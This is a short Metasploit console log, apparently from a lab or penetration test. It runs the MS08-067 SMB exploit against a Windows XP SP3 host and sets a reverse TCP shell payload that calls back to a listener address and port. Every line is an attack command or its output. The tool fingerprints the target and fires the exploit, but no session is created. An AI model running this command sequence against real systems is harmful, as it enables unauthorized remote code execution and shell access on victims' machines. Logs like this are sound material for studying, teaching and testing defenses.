msf > use exploit/windows/smb/ms08_067_netapi
msf > set PAYLOAD windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 10.1.1.115
msf exploit(ms08_067_netapi) > set LPORT 55555
msf exploit(ms08_067_netapi) > set RHOST 10.1.1.15
msf exploit(ms08_067_netapi) > exploit
PAYLOAD => windows/shell/reverse_tcp
LHOST => 10.1.1.115
LPORT => 55555
RHOST => 10.1.1.15
[*] Started reverse handler on 10.1.1.115:55555
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Exploit completed, but no session was created.